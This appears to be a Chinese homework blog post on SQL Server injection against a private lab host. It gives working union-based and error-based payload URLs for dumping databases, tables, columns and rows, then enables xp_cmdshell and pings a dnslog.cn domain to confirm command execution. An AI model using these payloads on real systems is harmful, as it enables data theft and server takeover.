20200212作业

sqlserver联合查询注入

第一步判断注入点:

在id=1的后面分别加入and 1=1,and 1=2 页面是否相同。

http://192.168.122.143/1.php?id=1%20and%201=1

http://192.168.122.143/1.php?id=1%20and%201=2

 

 

第二步,判断列数。利用order by

http://192.168.122.143/1.php?id=1%20order%20by%203

http://192.168.122.143/1.php?id=1%20order%20by%204

说明存在3列

第三步,查看显示位。

上面的步骤与sql注入基本相同 但显示位这里需要注意,如果用1,2,3这样的字符,需要用单引号勾选。或者用null来占位。

http://192.168.122.143/1.php?id=1%20union%20select%20null,null,null

第四部,查看数据库名

http://192.168.122.143/1.php?id=-1%20union%20select%20null,db_name(),null

这里需要让ID等于一个没有的值,取消占位

第五步,查询表名

这里的查询语句也要与mysql区分。需要加上from 这个数据库.sys.sysobjects where xtype=‘U’这样的格式

http://192.168.122.143/1.php?id=-1%20union%20select%20null,name,null%20from%20test.sys.sysobjects%20where%20xtype=%27U%27

第六步,查询字段名

同样加入from,不过因为显示的原因要在select的后面加上限制只显示一行。用TOP 1 来限制。这样就可以查询出一个字段名,需要查询其他的字段名,需要在最后面加上name不等于刚才查询的字段,这样就会出现下一个字段名,一直加不等于,知道页面报错,说明查询完毕。

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,null%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27%20and%20name!=%27age%27

没有结果说明字段查询结束

第七步,查询数据

沿用第六步的方式,一个一个的查询出数据。

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,age%20from%20users

http://192.168.122.143/1.php?id=-1%20union%20select%20TOP%201%20null,name,age%20from%20users%20where%20name!=%27hexin%27

 

sqlserver报错注入

sqlserver在语句执行错误的时候 会报错 并且会在网页上显示出来。
    利用mssql在转换类型的时候就出错时 会显示系统信息。
    
    报错注入的步骤大体与联合查询注入相似,也是要用不等于这样的方式查出想要的数据。不过报错注入,需要一个函数来让他报错,且能爆出数据,这个函数就是convent
    把查询语句转换成int类型,使其出错,但又能爆出数据。

 

爆出数据库名:http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20db_name()))

爆出表名:http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20name%20from%20test.sys.sysobjects%20where%20xtype=%27U%27))

爆出列名:

http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27))

http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name%20from%20test.sys.syscolumns%20where%20id=OBJECT_ID(%27users%27)%20and%20name!=%27id%27%20and%20name!=%27name%27))

爆出数据:

http://192.168.122.143/1.php?id=1%20and%201=convert(int,(select%20top%201%20name+age%20from%20users))

....................

 

 

sqlserver执行系统命令

 

先前段sql语句,在后面执行命令语句

http://192.168.122.143/1.php?id=1;

进入use master

http://192.168.122.143/1.php?id=1;use%20master;

开启功能

http://192.168.122.143/1.php?id=1;use%20master;EXEC%20sp_configure%20%27show%20advanced%20options%27,1;RECONFIGURE;EXEC%20sp_configure%20%27xp_cmdshell%27,1;RECONFIGURE;

执行成功

接下来开始执行系统语句,因为我们并不能页面上看到我们执行的系统命令是否成功,所以需要dnslog这个网站来测试ping命令

去dnslog上获取一个域名:q5c5gp.dnslog.cn

然后开始执行ping命令

http://192.168.122.143/1.php?id=1;use%20master;exec%20master..xp_cmdshell%20%27ping%20-n%201%20q5c5gp.dnslog.cn%27

这时我们可以明显的感觉页面的返回慢了一些,我们去dnslog上查看

有数据,说明我们成功的执行了ping命令,现在我们就可以随意的执行其他的系统命令了

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值